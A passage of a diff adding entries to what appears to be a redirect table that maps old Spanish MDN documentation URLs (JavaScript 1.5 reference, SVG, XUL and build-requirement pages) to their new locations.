+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Number/NEGATIVE_INFINITY	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/NEGATIVE_INFINITY
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Number/POSITIVE_INFINITY	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/POSITIVE_INFINITY
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Number/prototype	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/prototype
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Number/toString	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/toString
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Object	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Object/constructor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/constructor
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Object/create	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/create
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Object/defineProperties	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/defineProperties
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Object/hasOwnProperty	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/hasOwnProperty
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Object/toString	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/toString
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Object/unwatch	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/unwatch
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/Object/watch	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/watch
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/RegExp	/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/anchor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/anchor
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/big	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/big
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/blink	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/blink
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/bold	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/bold
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/charAt	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/charAt
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/charCodeAt	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/charCodeAt
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/concat	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/concat
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/constructor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/fixed	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/fixed
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/fromCharCode	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/fromCharCode
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/indexOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/indexOf
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/italics	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/italics
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/lastIndexOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/lastIndexOf
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/length	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/length
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/link	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/link
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/match	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/match
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/prototype	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/prototype
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/replace	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/replace
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/search	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/search
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/slice	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/slice
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/small	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/small
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/split	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/split
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/strike	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/strike
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/sub	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/sub
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/substr	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/substr
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/substring	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/substring
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/sup	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/sup
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/toLowerCase	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/toLowerCase
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/toString	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/toString
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/toUpperCase	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/toUpperCase
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globales/String/valueOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/valueOf
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globlales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globlales/Function	/es/docs/JavaScript/Referencia/Objetos_globlales/Function
+/es/docs/Referencia_de_JavaScript_1.5/Objetos_globlales/Function/arguments	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/arguments
+/es/docs/Referencia_de_JavaScript_1.5/Operadores	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/Aritm%C3%A9ticos	/es/docs/Web/JavaScript/Referencia/Operadores/Aritm%C3%A9ticos
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/Especiales	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/Especiales/function	/es/docs/Web/JavaScript/Referencia/Operadores/function
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/Especiales/instanceof	/es/docs/Web/JavaScript/Referencia/Operadores/instanceof
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/Especiales/typeof	/es/docs/Web/JavaScript/Referencia/Operadores/typeof
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/Especiales/void	/es/docs/Web/JavaScript/Referencia/Operadores/void
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/Miembros	/es/docs/Web/JavaScript/Referencia/Operadores/Miembros
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/Operadores_especiales	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/Operadores_especiales/Operador_this	/es/docs/Web/JavaScript/Referencia/Operadores/this
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/Operator_Precedence	/es/docs/Web/JavaScript/Referencia/Operadores/Operator_Precedence
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/String	/es/docs/Web/JavaScript/Referencia/Operadores/Aritm%C3%A9ticos
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/function	/es/docs/Web/JavaScript/Referencia/Operadores/function
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/get	/es/docs/Web/JavaScript/Referencia/Funciones/get
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/in	/es/docs/Web/JavaScript/Referencia/Operadores/in
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/new	/es/docs/Web/JavaScript/Referencia/Operadores/new
+/es/docs/Referencia_de_JavaScript_1.5/Operadores/this	/es/docs/Web/JavaScript/Referencia/Operadores/this
+/es/docs/Referencia_de_JavaScript_1.5/Palabras_Reservadas	/es/docs/Web/JavaScript/Referencia/Palabras_Reservadas
+/es/docs/Referencia_de_JavaScript_1.5/Propiedades_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Referencia_de_JavaScript_1.5/Propiedades_globales/Infinity	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Infinity
+/es/docs/Referencia_de_JavaScript_1.5/Propiedades_globales/NaN	/es/docs/Web/JavaScript/Referencia/Objetos_globales/NaN
+/es/docs/Referencia_de_JavaScript_1.5/Propiedades_globales/undefined	/es/docs/Web/JavaScript/Referencia/Objetos_globales/undefined
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias	/es/docs/Web/JavaScript/Referencia/Sentencias
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/block	/es/docs/Web/JavaScript/Referencia/Sentencias/block
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/break	/es/docs/Web/JavaScript/Referencia/Sentencias/break
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/const	/es/docs/Web/JavaScript/Referencia/Sentencias/const
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/continue	/es/docs/Web/JavaScript/Referencia/Sentencias/continue
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/do...while	/es/docs/Web/JavaScript/Referencia/Sentencias/do...while
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/export	/es/docs/Web/JavaScript/Referencia/Sentencias/export
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/for	/es/docs/Web/JavaScript/Referencia/Sentencias/for
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/for...in	/es/docs/Web/JavaScript/Referencia/Sentencias/for...in
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/for_each...in	/es/docs/Web/JavaScript/Referencia/Sentencias/for_each...in
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/function	/es/docs/Web/JavaScript/Referencia/Sentencias/function
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/if...else	/es/docs/Web/JavaScript/Referencia/Sentencias/if...else
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/label	/es/docs/Web/JavaScript/Referencia/Sentencias/label
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/return	/es/docs/Web/JavaScript/Referencia/Sentencias/return
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/throw	/es/docs/Web/JavaScript/Referencia/Sentencias/throw
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/try...catch	/es/docs/Web/JavaScript/Referencia/Sentencias/try...catch
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/var	/es/docs/Web/JavaScript/Referencia/Sentencias/var
+/es/docs/Referencia_de_JavaScript_1.5/Sentencias/while	/es/docs/Web/JavaScript/Referencia/Sentencias/while
+/es/docs/Referencia_de_JavaScript_1.5:Acerca_de	/es/docs/Web/JavaScript/Referencia/Acerca_de
+/es/docs/Referencia_de_JavaScript_1.5:Caracter%C3%ADsticas_Desaprobadas	/es/docs/Web/JavaScript/Referencia/Caracter%C3%ADsticas_Desaprobadas
+/es/docs/Referencia_de_JavaScript_1.5:Caracter%C3%ADsticas_Despreciadas	/es/docs/Web/JavaScript/Referencia/Caracter%C3%ADsticas_Desaprobadas
+/es/docs/Referencia_de_JavaScript_1.5:Comentarios:comentario	/es/docs/temp_comentarios
+/es/docs/Referencia_de_JavaScript_1.5:Funciones	/es/docs/Web/JavaScript/Referencia/Funciones
+/es/docs/Referencia_de_JavaScript_1.5:Funciones:String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Referencia_de_JavaScript_1.5:Funciones:arguments	/es/docs/Web/JavaScript/Referencia/Funciones/arguments
+/es/docs/Referencia_de_JavaScript_1.5:Funciones:arguments:callee	/es/docs/Web/JavaScript/Referencia/Funciones/arguments/callee
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:Number	/es/docs/JavaScript/Referencia/Funciones_globales/Number
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:Object	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:decodeURI	/es/docs/Web/JavaScript/Referencia/Objetos_globales/decodeURI
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:decodeURIComponent	/es/docs/Web/JavaScript/Referencia/Objetos_globales/decodeURIComponent
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:encodeURI	/es/docs/Web/JavaScript/Referencia/Objetos_globales/encodeURI
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:encodeURIComponent	/es/docs/Web/JavaScript/Referencia/Objetos_globales/encodeURIComponent
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:eval	/es/docs/Web/JavaScript/Referencia/Objetos_globales/eval
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:isFinite	/es/docs/Web/JavaScript/Referencia/Objetos_globales/isFinite
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:isNaN	/es/docs/Web/JavaScript/Referencia/Objetos_globales/isNaN
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:parseFloat	/es/docs/Web/JavaScript/Referencia/Objetos_globales/parseFloat
+/es/docs/Referencia_de_JavaScript_1.5:Funciones_globales:parseInt	/es/docs/Web/JavaScript/Referencia/Objetos_globales/parseInt
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Array	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Array:reduce	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/reduce
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Array:reduceRight	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/reduceRight
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Boolean:toSource	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean/toSource
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Date:UTC	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date/UTC
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Date:now	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date/now
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Date:parse	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date/parse
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Error	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Error
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Function:prototype	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/prototype
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Math	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Number	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Number:prototype	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/prototype
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Number:toString	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number/toString
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Object	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Object:toString	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/toString
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Object:unwatch	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/unwatch
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:Object:watch	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/watch
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:RegExp	/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:anchor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/anchor
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:big	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/big
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:blink	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/blink
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:bold	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/bold
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:charAt	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/charAt
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:charCodeAt	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/charCodeAt
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:concat	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/concat
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:constructor	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:fixed	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/fixed
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:fromCharCode	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/fromCharCode
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:indexOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/indexOf
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:italics	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/italics
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:lastIndexOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/lastIndexOf
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:length	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/length
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:link	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/link
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:match	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/match
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:prototype	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/prototype
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:replace	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/replace
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:search	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/search
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:slice	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/slice
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:small	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/small
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:split	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/split
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:strike	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/strike
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:sub	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/sub
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:substr	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/substr
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:substring	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/substring
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:sup	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/sup
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:toLowerCase	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/toLowerCase
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:toString	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/toString
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:toUpperCase	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/toUpperCase
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globales:String:valueOf	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String/valueOf
+/es/docs/Referencia_de_JavaScript_1.5:Objetos_globlales:Function:arguments	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function/arguments
+/es/docs/Referencia_de_JavaScript_1.5:Operadores	/es/docs/Web/JavaScript/Referencia/Operadores
+/es/docs/Referencia_de_JavaScript_1.5:Operadores:Aritm%C3%A9ticos	/es/docs/Web/JavaScript/Referencia/Operadores/Aritm%C3%A9ticos
+/es/docs/Referencia_de_JavaScript_1.5:Operadores:Especiales:function	/es/docs/Web/JavaScript/Referencia/Operadores/function
+/es/docs/Referencia_de_JavaScript_1.5:Operadores:Especiales:instanceof	/es/docs/Web/JavaScript/Referencia/Operadores/instanceof
+/es/docs/Referencia_de_JavaScript_1.5:Operadores:Especiales:typeof	/es/docs/Web/JavaScript/Referencia/Operadores/typeof
+/es/docs/Referencia_de_JavaScript_1.5:Operadores:Especiales:void	/es/docs/Web/JavaScript/Referencia/Operadores/void
+/es/docs/Referencia_de_JavaScript_1.5:Operadores:Miembros	/es/docs/Web/JavaScript/Referencia/Operadores/Miembros
+/es/docs/Referencia_de_JavaScript_1.5:Operadores:Operadores_especiales:Operador_this	/es/docs/Web/JavaScript/Referencia/Operadores/this
+/es/docs/Referencia_de_JavaScript_1.5:Operadores:String	/es/docs/Web/JavaScript/Referencia/Operadores/Aritm%C3%A9ticos
+/es/docs/Referencia_de_JavaScript_1.5:Palabras_Reservadas	/es/docs/Web/JavaScript/Referencia/Palabras_Reservadas
+/es/docs/Referencia_de_JavaScript_1.5:Propiedades_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Referencia_de_JavaScript_1.5:Propiedades_globales:Infinity	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Infinity
+/es/docs/Referencia_de_JavaScript_1.5:Propiedades_globales:NaN	/es/docs/Web/JavaScript/Referencia/Objetos_globales/NaN
+/es/docs/Referencia_de_JavaScript_1.5:Propiedades_globales:undefined	/es/docs/Web/JavaScript/Referencia/Objetos_globales/undefined
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias	/es/docs/Web/JavaScript/Referencia/Sentencias
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:block	/es/docs/Web/JavaScript/Referencia/Sentencias/block
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:break	/es/docs/Web/JavaScript/Referencia/Sentencias/break
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:continue	/es/docs/Web/JavaScript/Referencia/Sentencias/continue
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:do...while	/es/docs/Web/JavaScript/Referencia/Sentencias/do...while
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:for	/es/docs/Web/JavaScript/Referencia/Sentencias/for
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:for...in	/es/docs/Web/JavaScript/Referencia/Sentencias/for...in
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:function	/es/docs/Web/JavaScript/Referencia/Sentencias/function
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:if...else	/es/docs/Web/JavaScript/Referencia/Sentencias/if...else
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:label	/es/docs/Web/JavaScript/Referencia/Sentencias/label
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:return	/es/docs/Web/JavaScript/Referencia/Sentencias/return
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:throw	/es/docs/Web/JavaScript/Referencia/Sentencias/throw
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:try...catch	/es/docs/Web/JavaScript/Referencia/Sentencias/try...catch
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:var	/es/docs/Web/JavaScript/Referencia/Sentencias/var
+/es/docs/Referencia_de_JavaScript_1.5:Sentencias:while	/es/docs/Web/JavaScript/Referencia/Sentencias/while
+/es/docs/Requerimientos_para_la_compilaci%C3%B3n_en_BeOS	/es/docs/Mozilla/Developer_guide/Documentaci%C3%B3n_para_la_compilaci%C3%B3n/Requerimientos_para_la_compilaci%C3%B3n_en_BeOS
+/es/docs/Requerimientos_para_la_compilaci%C3%B3n_en_Linux	/es/docs/Mozilla/Developer_guide/Documentaci%C3%B3n_para_la_compilaci%C3%B3n/Requerimientos_para_la_compilaci%C3%B3n_en_Linux
+/es/docs/Requerimientos_para_la_compilaci%C3%B3n_en_Mac_OS_X	/es/docs/Mozilla/Developer_guide/Documentaci%C3%B3n_para_la_compilaci%C3%B3n/Requerimientos_para_la_compilaci%C3%B3n_en_Mac_OS_X
+/es/docs/Requerimientos_para_la_compilaci%C3%B3n_en_OS_2	/es/docs/Mozilla/Developer_guide/Documentaci%C3%B3n_para_la_compilaci%C3%B3n/Requerimientos_para_la_compilaci%C3%B3n_en_OS_2
+/es/docs/Requerimientos_para_la_compilaci%C3%B3n_en_Windows	/es/docs/Mozilla/Developer_guide/Documentaci%C3%B3n_para_la_compilaci%C3%B3n/Requerimientos_para_la_compilaci%C3%B3n_en_Windows
+/es/docs/SVG	/es/docs/Web/SVG
+/es/docs/SVG/SVG_en_Firefox_1.5	/es/docs/Web/SVG/SVG_en_Firefox_1.5
+/es/docs/SVG/Tutorial	/es/docs/Web/SVG/Tutorial
+/es/docs/SVG/Tutorial/Getting_Started	/es/docs/Web/SVG/Tutorial/Getting_Started
+/es/docs/SVG:SVG_en_Firefox_1.5	/es/docs/Web/SVG/SVG_en_Firefox_1.5
+/es/docs/SVG_In_HTML_Introduction	/es/docs/Web/SVG/Tutorial/SVG_In_HTML_Introduction
+/es/docs/Screening_duplicate_bugs	/es/docs/QA/Screening_duplicate_bugs
+/es/docs/Secciones_y_contornos_de_un_documento_HTML5	/es/docs/Sections_and_Outlines_of_an_HTML5_document
+/es/docs/Secciones_y_esquema_de_un_documento_HTML_5	/es/docs/Sections_and_Outlines_of_an_HTML5_document
+/es/docs/Social_API-redirect-1	/es/docs/Social_API
+/es/docs/Social_API-redirect-2	/es/docs/Social_API
+/es/docs/Social_API/Glossary-redirect-1	/es/docs/Social_API/Glossary
+/es/docs/Social_API/Glossary-redirect-2	/es/docs/Social_API/Glossary
+/es/docs/Social_API/Guide-redirect-1	/es/docs/Social_API/Guide
+/es/docs/Temas:Comunidad	/es/docs/Temas/Comunidad
+/es/docs/The_geo_microformat	/es/docs/El_microformato_geo
+/es/docs/Theme_changes_in_Firefox_3	/es/docs/El_colector_de_ciclo_XPCOM
+/es/docs/Transformando_XML_con_XSLT	/es/docs/Web/XSLT/Transformando_XML_con_XSLT
+/es/docs/Tutorial_de_Canvas:Transformaciones	/es/docs/Tutorial_de_Canvas/Transformaciones
+/es/docs/Tutorial_de_XUL/Creando_Dialogos	/es/docs/Tutorial_de_XUL/Creando_Di%C3%A1logos
+/es/docs/Tutorial_de_XUL/Indicadores_de_progreso	/es/docs/Tutorial_de_XUL/Medidores_de_progreso
+/es/docs/Tutorial_de_XUL:Creando_Dialogos	/es/docs/Tutorial_de_XUL/Creando_Di%C3%A1logos
+/es/docs/Tutorial_de_XUL:El_modelo_de_caja	/es/docs/Tutorial_de_XUL/El_modelo_de_caja
